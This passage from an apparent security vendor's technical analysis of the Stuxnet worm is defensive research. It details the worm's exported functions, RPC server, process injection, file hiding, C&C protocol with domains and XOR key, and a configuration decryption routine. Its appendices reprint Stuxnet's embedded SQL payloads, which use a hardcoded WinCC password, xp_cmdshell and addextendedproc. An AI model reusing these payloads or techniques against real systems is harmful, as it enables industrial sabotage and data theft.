module. Export 1 This function has the same functionality as the function number 32 except it waits for 60 seconds prior creating and starting Stuxnet's RPC Server. Export 2 This function is called in address space of the process with name s7tgtopx.exe and CCProjectMgr.exe and hooks certain functions by modifying the import address table of the corresponding modules. The table below gives the names of the patched modules and hooked functions: Table 4.1.1 Patched Modules and Hooked Functions Patched module Hooked function Library exporting hooked function s7apromx.dll CreateFileA kernel32.dll mfc42.dll CreateFileA kernel32.dll msvcrt.dll CreateFileA kernel32.dll CCProjectMgr.exe StgOpenStorage ole32.dll The hook for CreateFileA monitors opening files with the extension .S7P while the hook for StgOpenStorage monitors files with extension .MCP. Export 4 This function performs the full cleanup of the malware from the system. It starts a new process, injects the main module into it and calls exported function 18 (see 18). Export 5 This function checks whether the kernel-mode driver MrxCls.sys is properly installed in the system. Export 6 This function returns current version of Stuxnet installed in the system. Export 7 The same as function number 6 www.eset.com Export 9 This function builds Stuxnet's dropper from the files located in the system and runs it. The dropper is constructed from the following files which seems to be a components of Stuxnet: %Dir%\XUTILS\listen\XR000000.MDX; %Dir%\XUTILS\links\S7P00001.DBF; %Dir%\XUTILS\listen\S7000001.MDX. %Dir% passed as a parameter by a caller of the function. Export 10 This function performs the same actions as function number 9 which builds and runs the Stuxnet dropper. The only difference between these functions is that this function can build the dropper from the set of the files used in function number 9 as well as from the following files: %Dir%\GracS\cc_alg.sav; %Dir%\GracS\\db_log.sav; %Dir%\GracS\\cc_tag.sav. Parameter %Dir% is also specified by a caller. Export 14 This function manipulates with files which paths it receives as a parameter. Export 15 This routine initiates infection of the system. See section 4.1.5 for more details. Export 16 This function installs the malware's components in the system and performs the following tasks: Drops and installs kernel-mode drivers: MrxNet.sys and MrxCls.sys; Drops the main dll in %SystemRoot%\inf\oem7A.PNF; Drops Stuxnet's configuration data in %SystemRoot%\inf\mdmcpq3.PNF; Creates tracing file in %SystemRoot%\inf\oem6C.PNF; Drops data file in %SystemRoot%\inf\mdmeric3.PNF; Injects the main dll into services.exe process and executes the function exported as ordinal 32; Injects the main dll into the s7tgtopx.exe process if any exists, and executes exported function 2 there. Export 17 This function replaces s7otbxdx.dll with a malicious DLL. It moves the original library into a file called s7otbxdsx.dll. The malicious library is a wrapper for the original DLL: that is, it simply passes control to the original library, except in the case of certain functions which it hooks: s7_event; s7ag_bub_cycl_read_create; www.eset.com s7ag_bub_read_var; s7ag_bub_write_var; s7ag_link_in; s7ag_read_szl; s7ag_test; s7blk_delete; s7blk_findfirst; s7blk_findnext; s7blk_read; s7blk_write; s7db_close; s7db_open; s7ag_bub_read_var_seg; s7ag_bub_write_var_seg; Export 18 This function completely removes the malware from the system. It performs the following operations: Restores forged dynamic link library (s7otbxdx.dll) for Siemens software; Notifies user-mode components to shutdown so as to remove them properly; Stops and deletes the MrxCls service (kernel-mode driver); Stops and deletes the MrxNet service (kernel-mode driver); Deletes oem7A.PNF (the main module); Deletes mrxcls.sys (kernel-mode injector); Deletes mrxnet.sys (kernel-mode hider); Deletes mdmeric3.pnf; Deletes mdmcpq3.pnf (Stuxnet's configuration file); Deletes oem6C.PNF (file with tracing/debugging information). Export 19 This function drops the following files, used to propagate through USB flash drives, into a specified location that it receives as a parameter: Copy of Shortcut to.lnk; Copy of Copy of Shortcut to.lnk; Copy of Copy of Copy of Shortcut to.lnk; Copy of Copy of Copy of Copy of Shortcut to.lnk; ~WTR4141.TMP; ~WTR4132.TMP. Export 22 This function is responsible for distributing of Stuxnet through the network by using vulnerabilities described in the section on Distribution (MS08-67 and MS10-061). Also this function performs communication (sending and receiving updates) with instances of the worm on the other machines by RPC mechanism. www.eset.com Export 24 This function performs modifications of the Bot Configuration Data. Export 27 This function implements a component of Stuxnet's RPC Server responsible for handling remote calls. Export 28 This function exchanges information with the C&C server. It creates and sends the message to the C&C server as described in the section Remote Communication Protocol. When the message is ready it scans processes in the system to find iexplore.exe. If this exists then it injects the main module into it and calls export function 29, passing the message as a parameter. This function is responsible for performing actual data exchange with the C&C server. In the event that there is no iexplore.exe in the system, it calls this function from the address space of the default browser: it starts the default browser as a new process, injects into it the main module, and calls the function performing data exchange. Figure 4.8 The Scheme for Sending Data Export 29 This function performs exchange of data with the C&C server. It receives the message to be sent as input. Much of its functionality is described in the section on the Remote communication protocol. Its purpose is to send data to the remote server and to receive a reply as a binary module that will be subsequently executed. www.eset.com Export 31 This function performs the same actions as function number 9. To build the dropper it can use either of the following sets of files: %Dir%\GracS\cc_alg.sav; %Dir%\GracS\\db_log.sav; %Dir%\GracS\\cc_tag.sav. %Dir%\XUTILS\listen\XR000000.MDX; %Dir%\XUTILS\links\S7P00001.DBF; %Dir%\XUTILS\listen\S7000001.MDX. Which set to use is specified as a parameter as well as %Dir%. Export 32 This function is called from the services.exe process: otherwise, it won't be executed. This function starts the RPC server to handle RPC calls made by Stuxnet's user-mode components and creates a window that drops malicious files onto removable drives. It registers a window class with the name " AFX64c313" and creates a window corresponding to the class created. The window procedure of the class monitors WM_DEVICE_CHANGE messages sent when there is a change to the hardware configuration of a device or the computer. The window procedure of the class handles only requests with wParam set to DBT_DEVICEARRIVAL. These are sent when a device or removable media have been inserted and have become accessible (for instance, when a USB flash drive has been connected to the computer). When this happens, depending on parameters of the configuration data, it can either drop malicious files on the drive, or remove them from there. Moreover, configuration data also specify the minimum number of files that the removable drive should contain in order to perform infection. 4.1.7 RPC Server Stuxnet implements an RPC server to communicate with other instances of the worm over the network. It uses the RPC mechanism to receive updates not only from the remote C&C server but from other instances of the worm running on the infected machines in the network. This feature adds flexibility as it is able to stay updated even without direct connection with C&C server. It requests the version of the worm installed on the remote machine, and if the remote machine is running a more recent version, the newer version is requested and installed on the requester machine. The following figure illustrates the architecture of the server: www.eset.com Figure 4.9 Architecture of Stuxnet's RPC Server It consists of the two components: The first component is responsible for handling RPC calls from the local host, i.e. from modules injected into process within the local system. It is executed within the address space of the services.exe process; The second component of the server performs handling RPC calls from remote hosts. This component is executed within the address space of the process hosting one of the following services: netsvc, rpcss, browser. Both components implement the same functions. The first five function as outlined on the figure above are executed by local component only: when these functions are executed they determine which component calls them, and if it is the component responsible for handling remote calls, they make a call to the local component and exit. This is indicated in the figure with arrows. Stuxnet's RPC Server implements the following procedures: RpcProc1 Returns the version of the worm; RpcProc2 Loads a module passed as a parameter into a new process and executes specified exported function; RpcProc3 Loads a module passed as a parameter into the address of the process executing this function and calls its exported function number 1; RpcProc4 Loads a module passed as a parameter into a new process and executes it; RpcProc5 Builds the worm dropper; RpcProc6 Runs the specified application; RpcProc7 Reads data from the specified file; RpcProc8 Writes data into the specified file; RpcProc9 Deletes the specified file; RpcProc10 Works with the files of which the names are intercepted by hooks set up in function number 2 and writes information in tracing file. www.eset.com 4.1.8 Resources Here we will describe the resources of the main module. According to X the module has 13 resources. The following table summarizes information as to what it contains. Table 4.1.2 Resources of the Main Module Resource ID Description Kernel-mode driver (MrxCls.sys) responsible for injecting code into certain processes A proxy dynamic link library A .cab file with dynamic link library inside Configuration data for MrxCls.sys A dynamic link library fake s7otbldx.dll (Siemens SCADA module) Encrypted data file drop to %WINDIR%\help\winmic.fts Template PE-file, used to construct dropper (~WTR4132.TMP) Module used for distribution of the worm by exploiting RPC vulnerability Module used for distribution of the worm by exploiting MS10-061 vulnerability .LNK file template, used to create .LNK files exploiting vulnerability ~WTR4141.TMP dynamic link library, used to load dropper (~WTR4132.TMP) while infecting system Kernel-mode driver (MrxNet.sys) responsible for concealing files exploiting LNK vulnerability and infecting system Module used to escalate privileges by exploiting 0-day vulnerability in Win32k.sys Kernel-mode functionality The worm has some rootkit functionality, as during infection of the system it drops and installs two kernel-mode drivers that allow it to hide files and inject code into process in the system: MrxCls.sys; MrxNet.sys. These modules are not packed or protected with any packer or protector. Moreover these drivers are digitally signed. Here are the digital certificates of the public keys corresponding to the private keys used to sign the drivers (we received samples signed with two different private keys). www.eset.com Figure 4.10 Digital certificates Used to Verify Driver's Signatures After it was ascertained that the certificates were compromised, both were revoked by Verisign. Variant drivers and compromised certificates have, however, been noted since. Figure 4.11 Digital Certificates Revoked www.eset.com 4.2.1 MRXCLS.sys 4.2.1.1 Encrypted data This driver is designated to inject code into the address space of the processes in the system. It is registered in OS as a boot start service. Thus it is loaded as early as possible in the OS boot process. Some of its data are encrypted with a custom encryption algorithm. If we decrypt them, we get the following string constants with the following meanings: Table 4.2.1 Decrypted String Constants Found in the Driver REGISTRY\MACHINE\SYSTEM\CurentControlSet\Services\MrxCls Name of the registry key that corresponds to the driver Data Name of the value of the registry key related to the driver \Device\MrxClsDvx Name of the device object that is created by the driver To be able to inject code it registers a special routine that is called each time a module is loaded in address space of a process by calling API function PsSetLoadImageNotifyRoutine. 4.2.1.2 Configuration data The driver holds configuration data that specify in which processes the code is to be injected. The data are stored in driver's registry key with the value name presented in Table 4.2.1. The data can also be stored in a file on disk: if the driver failed for some reason to read the configuration data from registry, it reads it from the file, if any exists. Here is configuration data found on an infected machine: Figure 4.12 The configuration data of the driver As we can see from the figure, these data specify what modules should be injected by the driver into the address spaces of certain processes. For instance, here we see that in processes in which executables www.eset.com have the names services.exe, S7tgtopx.exe and CCProjectMgr.exe, the driver injects a module stored in a file with the name \SystemRoot\inf\oem7A.PNF. The configuration data also specify the name or ordinal number of the export of the injected module to be called. For instance in this case, when oem7A.PNF will be loaded into the address spaces of the CCProjectMgr.exe or S7togtopx.exe, the exported function number 2 should be called. In the case of services.exe the exported function with the ordinal 1 should be called. If a process is debugged the driver doesn't perform an injection, and it determines whether the process is debugged by reading BeingDebugged field of the PEB structure related to the process. 4.2.1.3 Injector Here we briefly describe the injector. It is not only capable of injecting modules into the address space of a process but is also able to stealthily call an exported function from the already injected modules. The injection of a module is performed in three stages: Allocating memory in the address space of the target process and copying module and supplemental code into the newly allocated buffer; Initializing supplemental data and code with import from kernel32.dll library, and overwriting the first bytes of the entry point of the process image; Mapping the module to inject into the address space of the process, initializing import address table, fixing relocations, calling its entry point and restoring the original bytes of the image entry point. Figure 4.13 Injecting a Module into Process Address Space Stage 1 When the process image is loaded into the address space of the process, the notification routine is called and the driver determines whether the process is debugged. If it isn t, it looks in its configuration data to get the name of the module to inject. Once it obtains the name of the module it allocates two buffers in the process, one for the module and another for supplemental code. Then it sets memory www.eset.com protection of the entry point region to PAGE_EXECUTE_WRITECOPY, a value which makes it writable. In the following figure we can see a layout of the modules in the user-mode address space of the process: Figure 4.14 Layout of Modules and Buffers in User-Mode Address Space of a Process Prior to Loading kernel32.dll Library Stage 2 At the second stage, when the driver receives notification that kernel32.dll has been mapped into the address space of the process, it initializes import of the supplemental code from the loaded library and overwrites the first seven bytes of the entry point of the process image with the following commands: Figure 4.15 Patched entry point APIs exported by kernel32.dll and used by supplemental code are: VirtualAlloc, VirtualFree, GetProcAddress, GetModuleHandle, LoadLibraryA, LoadLibraryW, lstrcmp, lstrcmpi, GetVersionEx, DeviceIoControl. The layout of the modules at this stage is presented on the following figure: Figure 4.16 Layout of Modules and Buffers in User-Mode Address Space of a Process after Loading kernel32.dll www.eset.com Stage 3 At this stage, when the entry point of the application receives control it transfers to the entry point of the supplemental code, the purpose of which is to map the module and call its entry point. When the work is finished it restores the original entry point and sets the memory protection value of the entry point region to its initial value. Then it transfers control to the original entry point. Figure 4.17 Layout of Modules and Buffers in User-Mode Address Space of a Process after Application's Entry Point is Called DeviceIoControl The driver creates a device object with the name specified in Table 4.2.1 and registers handlers for the following requests: IRP_MJ_CREATE; IRP_MJ_CLOSE; IRP_MJ_DEVICE_CONTROL. The first two handlers do nothing but successfully complete IRP packet, while the third handler is used to dispatch control requests from an application. When the created device object receives an IRP_MJ_DEVICE_CONTROL request with IOCTL equal to 0x223800 it changes memory protection of the region specified in the request parameters: www.eset.com struct IOCTL_PARAMS DWORD Signature; // Signature always set to 0xAFABF00D DWORD Reserved1; HANDLE hProcess; // Handle of the process DWORD Reserved2; void *BaseAddress; // Base address of memory region DWORD Reserved3; DWORD RegionSize; // Size of the memory region DWORD Reserved4; DWORD NewProtection; // New protection memory constant DWORD Reserved5; When supplemental code changes memory protection of the entry point it initializes this structure and passes it as a parameter to DeviceIoControl API. 4.2.2 MRXNET.sys The purpose of this driver is to hide files that are used to propagate the malware through USB drives. It acts as a file system driver filter. In the very beginning of its initialization it registers the FileSystemRegistrationChange routine enables it to attach to file systems available in the system, but it is interested only in ntfs, fat and cdfs file systems. When a new file system is mounted the driver receives a notification, creates a device object and attaches it to the top of the device stack. From then on the driver is able to monitor all the requests that are addressed to the file system. It waits for an IRP_MJ_MOUNT_VOLUME request to arrive and attaches itself to the mounted volume to intercept requests related to operations with files and directories. It creates DeviceObjects and attaches it to those device objects created by and corresponding to the specified file system drivers. The driver hooks IRP_MJ_DIRECTORY_CONTROL requests addressed to the file systems it is attached to, enabling it to filter results from querying information about files and subdirectories. This request is used to get information related to the directory, and in particular what files are located in the directory. It hides the same files as ~WTR4141.tmp does: files with ".LNK" extension with a file length of 1471 (0x104b) bytes; files with ".TMP" extension where the name consists of 12 characters (including extension) in the following format: "~WTRabcd.TMP", where a,b,c,d are digits from 0 to 9 which sum modulo 10 equals 0 ("~WTR4411.TMP" for example). On receiving an IRP_MJ_DIRECTORY_CONTROL request it sets an IO completion routine that filters results of the request. Depending on the control operation that is requested, the driver goes through the corresponding structure and deletes all entries matching the search criteria. www.eset.com Stuxnet Bot Configuration Data Stuxnet stores its encrypted configuration data (1860 bytes) in %WINDIR%\inf\mdmcpq3.pnf. A decryption algorithm is presented in Appendix A. These data contain information about: URLs of C&C servers (see figure below); Activation time the time and date after which the worm is active; Deactivation time the time after which the worm becomes inactive and deletes itself; Version of the malware; The minimum quantity of files that the removable drive should contain to drop malicious .LNK files successfully; Other information about its propagation and functioning. Figure 4.18 An Extract from the Configuration Data www.eset.com Remote Communication Protocol The malware communicates to the C&C server through http. A list of URLs is included in the Stuxnet configuration data of Stuxnet: www.windowsupdate.com; www.msn.com; www.mypremierfutbol.com; www.todaysfutbol.com The first two URLs are used to check that the system has connection to the Internet, while the third and the fourth are URLs of C&C servers. If it fails to successfully establish connection with the remote host (www.windowsupdate.com) it stops sending data to the C&C server. When the malware confirms that the infected computer is connected to the Internet it sends an http request to the remote server. Here is an example of the URL with data: http:// www.mypremierfutbol.com/index.php?data=data_to_send, where data_to_send is encrypted and encoded message. It uses a custom encryption algorithm with a key length equal 31 bytes: // Encryption char Key[31] = { 0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 0x88, 0x5A, 0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1 // Encryption procedure void EncryptData(char *Buffer, int BufferSize, char *Key) for (int i = 0 ; i < BufferSize ; i ++) Buffer[i] ^= Key[i % 31]; return; The encrypted data are represented as a string of Unicode characters: each byte of the binary data is presented as 2 characters. For instance, 0x7A96E2890 will be written as "7A96E2890" Unicode string. The data to be sent have the following structure: www.eset.com Figure 4.19 The Structure of the Data Sent to C&C Server The first byte of the data is a hexadecimal constant 0x01, followed by 16 bytes of the malware configuration data. The IP address of the host is the first non-loopback entry in the list of IPv4 addresses of the host sorted in the ascending order. While preparing the data to be sent the malware gathers information about all the network adapters installed on the system by calling the GetAdaptersInfo API. This includes: The adapter name; The adapter description; The hardware address of the adapter; The list of IPv4 addresses associated with the adapter; The IPv4 address of the gateway for the adapter; The IPv4 address of the DHCP server for the adapter; The IPv4 address of the primary WINS server; The IPv4 address of the secondary WINS server; The message field can be described with the following structure: struct STUXNET_CC_MESSAGE BYTE Constant; // Set to 0x01 BYTE ConfigByte; // A BYTE of the configuration data BYTE OsVerMajor; // The major version number of the OS BYTE OsVerMinor; // The minor version number of the OS BYTE OsVerServicePackMajor; // The major version number of the service pack // installed on the system BYTE Reserved[3]; // padding DWORD ConfigDword; // A DWORD of the configuration data WORD CurrentACP; // Current ANSI code page identifier for the // system WORD OsVerSuitMask; // A bitmask identifying the product suites // available on the system BYTE Flags; // See reference bellow www.eset.com char ComputerName[]; // NetBIOS name of the local computer char DomainName[]; // Name of the domain or workgroup the computer // is joined to if any char ConfigDataStr[]; // A string from configuration data Figure 4.20 Description of the Flags Field in STUXNET_CC_MESSAGE Structure We can see that flags corresponding to the first and the last bits in the byte are unused. Flags 1,4,5,6 are related to the configuration data of the malware. Flag 2 signifies whether Stuxnet is active. Flag 3 is set in case Stuxnet detects Siemens software installed on the infected machine, which it does by searching in the registry the following keys and values: Key HKLM\SOFTWARE\SIEMENS\STEP7, value STEP7_Version; Key HKLM\SOFTWARE\SIEMENS\WinCC\Setup, value Version. When the message is constructed, the malware encrypts it by XORing each byte with the hexadecimal constant 0xFF. The malware receives a response from the C&C server which is structured as follows: Figure 4.21 The Structure of the Response from the C&C Server The first four bytes of the response store the size of the image in the received data: if image size plus 5 bytes isn't equal to the size of the received data, then Stuxnet stops parsing the response. On receiving the response the malware loads the image and call its export with ordinal number 1. The fifth byte of the response specifies exactly how it should be executed. If this byte is set to 0x01, then an RPC function will be called and as a result the received image will be executed at the address of the process hosting Stuxnet's RPC server. If the fifth byte is zero, then the image will be loaded into the address space of this process and an export function numbered as 1 will be executed. The following figure clarifies this mechanism: www.eset.com Figure 4.22 Dispatching Received Data www.eset.com Conclusion We conducted a detailed technical analysis of the worm Win32/Stuxnet, which currently is perhaps the most technologically sophisticated malicious program developed for a targeted attack to date. We have not released extensive information here about injecting code into the SCADA system, as it deserves an independent discussion (and indeed, has been discussed at length by Langner). This research was intended primarily as material for specialists in information security, showing how technology can be made use of in targeted attacks. Thanks to everyone who finished reading our report until the end! www.eset.com Appendix A Further Coverage and Resources, in approximately chronological order: http://www.h-online.com/security/news/item/Trojan-spreads-via-new-Windows-hole1038992.html http://www.heise.de/newsticker/meldung/Trojaner-verbreitet-sich-ueber-neue-WindowsLuecke-1038281.html http://www.reconstructer.org/main.html; http://it.slashdot.org/submission/1283670/Malware-Targets-Shortcut-Flaw-in-Windows-SCADA http://it.slashdot.org/story/10/07/15/1955228/Malware-Targets-Shortcut-Flaw-In-WindowsSCADA http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/ http://www.zdnet.co.uk/news/security/2010/07/16/spy-rootkit-goes-after-key-indian-iraniansystems-40089564/ http://www.msnbc.msn.com/id/38315572 http://www.reuters.com/article/idUSTRE66I5VX20100719 http://forums.cnet.com/5208-6132_102-0.html?messageID=3341877 http://www.f-secure.com/weblog/archives/00001993.html http://news.softpedia.com/news/PoC-Exploit-Code-Available-for-Windows-LNK-Vulnerability148140.shtml http://www.computerworld.com/s/article/9179339/Windows_shortcut_attack_code_goes_pub lic?taxonomyId=17&pageNumber=1 http://krebsonsecurity.com/2010/09/stuxnet-worm-far-more-sophisticated-than-previouslythought/ http://blog.eset.com/2010/08/04/assessing-intent http://www.google.com/hostednews/ap/article/ALeqM5h7lX0JoE1AGngQoEfWWmCM6THizQD 9HC86L80 http://www.dailytech.com/Hackers+Target+Power+Plants+and+Physical+Systems/article19257. http://www.scmagazineus.com/keeping-hilfs-from-crashing-your-party/article/173975/ http://www.sans.org/newsletters/newsbites/newsbites.php?vol=12&issue=74 http://www.computerworld.com/s/article/9185919/Is_Stuxnet_the_best_malware_ever_?taxo nomyId=82 http://www.zdnet.co.uk/news/security-threats/2010/09/16/siemens-stuxnet-infected-14industrial-plants-40090140/ http://www.h-online.com/security/news/item/Stuxnet-worm-can-control-industrial-systems1080751.html http://secunia.com/advisories/41525/ http://secunia.com/advisories/41471/ http://blogs.technet.com/b/msrc/; http://www.csoonline.com/article/614064/siemens-stuxnet-worm-hit-industrial-systemss http://krebsonsecurity.com/2010/07/microsoft-to-issue-emergency-patch-for-critical-windowsbug/ http://www.symantec.com/connect/blogs/stuxnet-breakthrough http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w 32_stuxnet_dossier.pdf http://www.langner.com/en/index.htm www.eset.com http://realtimeacs.com/?page_id=65 http://realtimeacs.com/?page_id=66 http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process http://www.virusbtn.com/conference/vb2010/programme/index http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx; http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spoolervulnerability.aspx. http://blog.eset.com/?s=stuxnet http://frank.geekheim.de/?p=1189 http://www.faz.net/s/RubCEB3712D41B64C3094E31BDC1446D18E/Doc~E8A0D43832567452FB DEE07A F579E893C~ATpl~Ecommon~Scontent.html http://www.computerworld.com/s/article/9187300/Microsoft_confirms_it_missed_Stuxnet_pri nt_spooler_zero_day_%20 http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-IransNuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-SourcesSay/Article/201011415827544?lpos=World_News_News_Your_Way_Region_5&lid=NewsYour Way_ARTICLE_15827544_Stuxnet_Worm%3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_H ands_Of_Bad_Guys%2C_Sky_News_Sources_Say http://news.sky.com/skynews/Home/video/Stuxnet-Worm-Virus-Targeted-At-Irans-NuclearPlant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Video/201011415828645 http://www.bbc.co.uk/news/technology-11795076 http://www.thinq.co.uk/2010/11/25/stuxnet-worm-hits-black-market/ http://nakedsecurity.sophos.com/2010/11/25/stuxnet-scared-of-shadows/ http://thompson.blog.avg.com/2010/11/comment-on-stuxnet-and-more-windows-0-days.html http://en.wikipedia.org/wiki/Stuxnet http://www.msnbc.msn.com/id/3036697/#40280338 http://www.itproportal.com/2010/11/25/microsoft-reveals-code-vulnerable-stuxnet/ http://www.eweek.com/c/a/Security/Exploit-Code-for-Windows-Zeroday-Targeted-by-StuxnetGoes-Public-406413/ http://www.exploit-db.com/exploits/15589/ http://blogs.protegerse.com/laboratorio/2010/11/24/publicado-el-codigo-de-otra-de-lasvulnerabilidades-usadas-en-stuxnet/ http://www.v3.co.uk/v3/news/2273495/stuxnet-black-market-sky-news http://www.f-secure.com/weblog/archives/00002040.html http://www.facebook.com/notes/eset-ireland/cyberthreats-daily-facebook-infested-with-newwith-new-worm-stuxnet-hype/10150130942127788 http://af.reuters.com/article/energyOilNews/idAFLDE6AS1L120101129 http://go.theregister.com/i/cfh/http://www.theregister.co.uk/2010/11/29/stuxnet_stuxnet/ http://www.h-online.com/security/news/item/Report-Stuxnet-code-being-sold-on -black-market-1142866.html http://www.microsoft.com/technet/security/bulletin/MS10-dec.mspx http://blogs.forbes.com/firewall/2010/12/14/stuxnets-finnish-chinese-connection/#more-2513 http://taiaglobal.com/?attachment_id=81 http://www.darkreading.com/vulnerability-management/167901026/security/attacksbreaches/228800582/china-likely-behind-stuxnet-attack-cyberwar-expert-says.html http://www.infracritical.com/papers/stuxnet-timeline.txt http://www.vimeo.com/18225315 www.eset.com http://www.langner.com/en/2010/12/31/year-end-roundup/ As previously stated in Section 2 of this document, as of version 1.31 of this document, we will not be publishing further revisions except to correct errors or to introduce substantial new or modified material. We will, however, be adding links from time to time to the ESET blog entry at http://blog.eset.com/?p=5731. www.eset.com Appendix B Decryption algorithm for PNF file with configuration data //key = 71 //counter = byte number from begin file eax, Key imul eax, _Offset ecx, eax ecx, 0Bh ecx, eax imul ecx, 4E35h movzx edx, cx movzx ecx, dx imul ecx, ecx eax, ecx ecx, 0Dh eax, 17h al, cl ecx, edx ecx, 8 eax, ecx movzx ecx, dl eax, ecx movzx ecx, _Byte eax, ecx mov result, al #decrypt function on python def decrypt(key, counter, sym): v0 = key * counter v1 = v0 >> 0xb v1 = (v1 ^ v0) * 0x4e35 v2 = v1 & 0xffff v3 = v2 * v2 v4 = v3 >> 0xd v5 = v3 >> 0x17 xorbyte=((v5 & 0xff) + (v4 & 0xff)) & 0xff xorbyte=xorbyte ^ ((v2 >> 8) & 0xff) xorbyte=xorbyte ^ (v2 & 0xff) return xorbyte ^ sym www.eset.com Appendix C SQL query strings embedded in Stuxnet String 1 declare @t varchar(4000), @e int, @f int if exists (select text from dbo.syscomments where id = object_id(N'[dbo].[MCPVREADVARPERCON]')) select @t = rtrim(text) from dbo.syscomments c, dbo.sysobjects o where o.id = c.id and c.id = object_id(N'[dbo].[MCPVREADVARPERCON]') set @e = charindex(',openrowset', @t) if @e = 0 set @t = right(@t, len(@t) - 7) else begin set @f = charindex('sp_msforeachdb', @t) if @f = 0 begin set @t = left(@t, @e - 1) set @t = right(@t, len(@t) - 7) else select * from fail_in_order_to_return_false set @t = 'alter ' + @t + ',openrowset(''SQLOLEDB'',''Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder'',''select 0;set IMPLICIT_TRANSACTIONS off;declare @z nvarchar(999);set @z = ''''use [?];declare @t nvarchar(2000);declare @s nvarchar(9);set @s = ''''''''--CC-S'''''''' + char(80);if left(db_name(), 2) = ''''''''CC'''''''' select @t = substring(text, charindex(@s, text) + 8, charindex(''''''''--*'''''''', text) - charindex(@s, text) - 8) from syscomments where text like (''''''''%'''''''' + @s + ''''''''%'''''''');if @t is not NULL exec(@t)'''';exec sp_msforeachdb @z'')' exec (@t) www.eset.com String 2 declare @t varchar(4000), @e int, @f int if exists (select * from dbo.syscomments where id = object_id(N'[dbo].[MCPVPROJECT2]')) select @t = rtrim(c.text) from dbo.syscomments c, dbo.sysobjects o where o.id = c.id and c.id = object_id(N'[dbo].[MCPVPROJECT2]') order by c.number, c.colid set @e = charindex('--CC-SP', @t) if @e=0 begin set @f = charindex('where', @t) if @f <> 0 set @t = left(@t, @f - 1) set @t = right(@t, len(@t) - 6) else select * from fail_in_order_to_return_false set @t = 'alter ' + @t + ' where ((SELECT top 1 1 FROM MCPVREADVARPERCON)=''1'') -CC-SP use master;declare @t varchar(999),@s varchar(999),@a int declare r cursor for select filename from master..sysdatabases where (name like ''CC%'') open r fetch next from r into @t while (@@fetch_status<>-1) begin set @t=left(@t,len(@t)-charindex(''\'' ,reverse(@t))) + ''\GraCS\cc_tlg7.sav'';exec master..xp_fileexist @t, @a out;if @a=1 begin set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc addextendedproc(sp_payload,@t);exec master..sp_payload;exec master..sp_dropextendedproc sp_payload;break; end fetch next from r into @t end close r deallocate r --*' exec (@t) www.eset.com String 3 view MCPVPROJECT2 as select PROJECTID,PROJECTNAME,PROJECTVERSION,PROJECTMODE, PROJECTCREATOR,PROJECTEDITOR,CREATIONDATE,EDITDATE, PRJCOMMENT,CSLANGUAGE,RTLANGUAGE,PROJECTGUID,PRJTABLETYPES, PRJDATATYPES,PRJCREATEVERMAJ,PRJCREATEVERMIN, PRJXRES, PRJTIMEMODE,PRJDELTAMODE,PRJDELTAREMOTE from MCPTPROJECT where ((SELECT top 1 1 FROM MCPVREADVARPERCON)='1') String 4 view MCPVPROJECT2 as select MCPTPROJECT.PROJECTID, MCPTPROJECT.PROJECTNAME, MCPTPROJECT.PROJECTVERSION, MCPTPROJECT.PROJECTMODE, MCPTPROJECT.PROJECTCREATOR, MCPTPROJECT.PROJECTEDITOR, MCPTPROJECT.CREATIONDATE, MCPTPROJECT.EDITDATE, MCPTPROJECT.PRJCOMMENT, MCPTPROJECT.CSLANGUAGE, MCPTPROJECT.RTLANGUAGE, MCPTPROJECT.PROJECTGUID, MCPTPROJECT.PRJTABLETYPES, MCPTPROJECT.PRJDATATYPES, MCPTPROJECT.PRJCREATEVERMAJ, MCPTPROJECT.PRJCREATEVERMIN, MCPTPROJECT.PRJXRES, MCPTPROJECT.PRJTIMEMODE, MCPTPROJECT.PRJDELTAMODE, MCPTPROJECT.PRJDELTAREMOTE from MCPTPROJECT String 5 view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID, FORMATFITTING, SCALEID, VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL,MAXLIMIT, MINLIMIT, STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES, VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4 from MCPTVARIABLEDESC, openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder', 'select 0;declare @t varchar(999),@s varchar(999),@a int declare r cursor for select filename from master..sysdatabases where (name like ''CC%'') open r fetch next from r into @t while (@@fetch_status<>-1) begin set @t=left(@t,len(@t)charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';exec master..xp_fileexist @t,@a out;if @a=1 begin set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t=@t+''x'';dbcc addextendedproc(sp_run,@t);exec master..sp_run;exec master..sp_dropextendedproc sp_run;break;end fetch next from r into @t end close r deallocate r') String 6 view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID, MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING, MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME, CPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL, MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT, MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE, MCPTVARIABLEDESC.VARFLAGS, MCPTVARIABLEDESC.CONNECTIONID, MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID, MCPTVARIABLEDESC.LASTCHANGE, 